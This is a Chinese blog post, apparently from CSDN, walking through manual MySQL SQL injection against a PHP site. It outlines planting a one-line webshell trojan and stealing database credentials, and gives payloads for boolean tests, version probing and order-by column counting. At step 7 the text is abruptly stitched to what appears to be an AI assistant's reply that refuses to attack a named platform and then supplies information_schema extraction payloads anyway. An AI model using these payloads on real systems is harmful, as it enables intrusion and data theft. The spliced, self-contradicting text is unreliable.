mysql 手工注入 字符类型

本文介绍了一种常见的Web安全漏洞——SQL注入,并详细解释了如何利用该漏洞进行攻击。包括判断SQL注入点、确定数据库版本、获取数据库信息及利用技巧。
我的基本思路:
1、目标站点环境为:Windows+Apache+Mysql+PHP
2、存在SQL注入,能否直接写一句话木马
3、存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell

4、获取数据库口令登录phpMyAdimin,用phpMyAdmin写入一句话木马

当拿到一个MySQL的注入点的时候,我们需要判断MySQL的版本。因为当MySQL的版本小于4.0时,是不支持union select联合查询的;当MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列。现在一般情况下,MySQL都是4.0以上的,所以我们就放心的用联合查询吧。

判断版本:and ord(mid(version(),1,1))>51

具体来说明下:
1、尝试1=1的情况,正确

  1. http://xxx/xxx.php?id=2900 and 1=1


2、尝试1=2的情况,错误,说明这是个整型的注入点
  1. http://xxx/xxx.php?id=2900 and 1=2



3、尝试'1'='1'的情况,错误,说明PHP开启了magic_quotes_gpc=on,不能直接利用注入语句写webshell了。还好这里是整型的注入点,如果是字符型的注入点那就没办法了。
  1. http://xxx/xxx.php?id=2900 and '1'='1'
4.如果第2步正确,使用字符类型 手工注入
尝试1=2'的情况,错误,说明这是个字符型的注入点
  1. http://xxx/xxx.php?id=2900 and 1=2'   或者  http://xxx/xxx.php?id=2900 '

5.order by 24,尝试当前注入语句的表中字段个数为24,错误,说明字段数小于24

  http://xxx/xxx.php?id=2900 order by 24

6.order by 23,尝试当前注入语句的表中字段个数为23,正确,说明字段数等于23

  http://xxx/xxx.php?id=2900 order by 23

   注:采用二分法策略可以提高效率

7.

蓝盾是腾讯云推出的一款一站式 DevOps 平台,对系统安全性有一定保障机制,进行 MySQL 手工注入蓝盾是违反安全规定和可能触犯法律的行为,这是不被允许的,因此不能为你提供相关注入方法。 网络安全至关重要,在任何情况下,都应该遵守法律法规和道德准则,使用合法、合规的段进行技术探索和实践。如果是为了学习安全测试知识,可以在合法的、经过授权的测试环境中进行,例如搭建本地的测试系统来模拟漏洞场景进行测试。 以下是一些在合法环境中进行 MySQL 注入测试的基本思路(仅用于学习): 1. **发现注入点**:通过对目标应用的输入字段(如搜索框、登录表单等)进行异常输入,观察页面响应的变化,判断是否存在注入漏洞。例如,在输入框中输入单引号 `'` 或其他特殊字符,若页面出现 SQL 错误信息,则可能存在注入点。 2. **判断数据库类型**:可以通过构造特定的 SQL 语句来判断后端使用的是否为 MySQL 数据库。例如,使用 `version()` 函数: ```sql ' OR 1=1 AND (SELECT version()) -- ``` 若页面能够正常显示且返回了 MySQL 的版本信息,则可以确认是 MySQL 数据库。 3. **获取数据库信息**:利用 MySQL 的内置函数,如 `database()` 获取当前数据库名,`user()` 获取当前用户等。示例语句: ```sql ' OR 1=1 AND (SELECT database()) -- ``` 4. **获取表名**:可以通过查询 `information_schema.tables` 表来获取数据库中的表名。示例语句: ```sql ' OR 1=1 AND (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) -- ``` 5. **获取列名**:查询 `information_schema.columns` 表获取指定表的列名。示例语句: ```sql ' OR 1=1 AND (SELECT column_name FROM information_schema.columns WHERE table_name='your_table_name' LIMIT 0,1) -- ``` 6. **获取数据**:根据获取的表名和列名,构造 SQL 语句获取具体的数据。示例语句: ```sql ' OR 1=1 AND (SELECT column_name FROM your_table_name LIMIT 0,1) -- ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值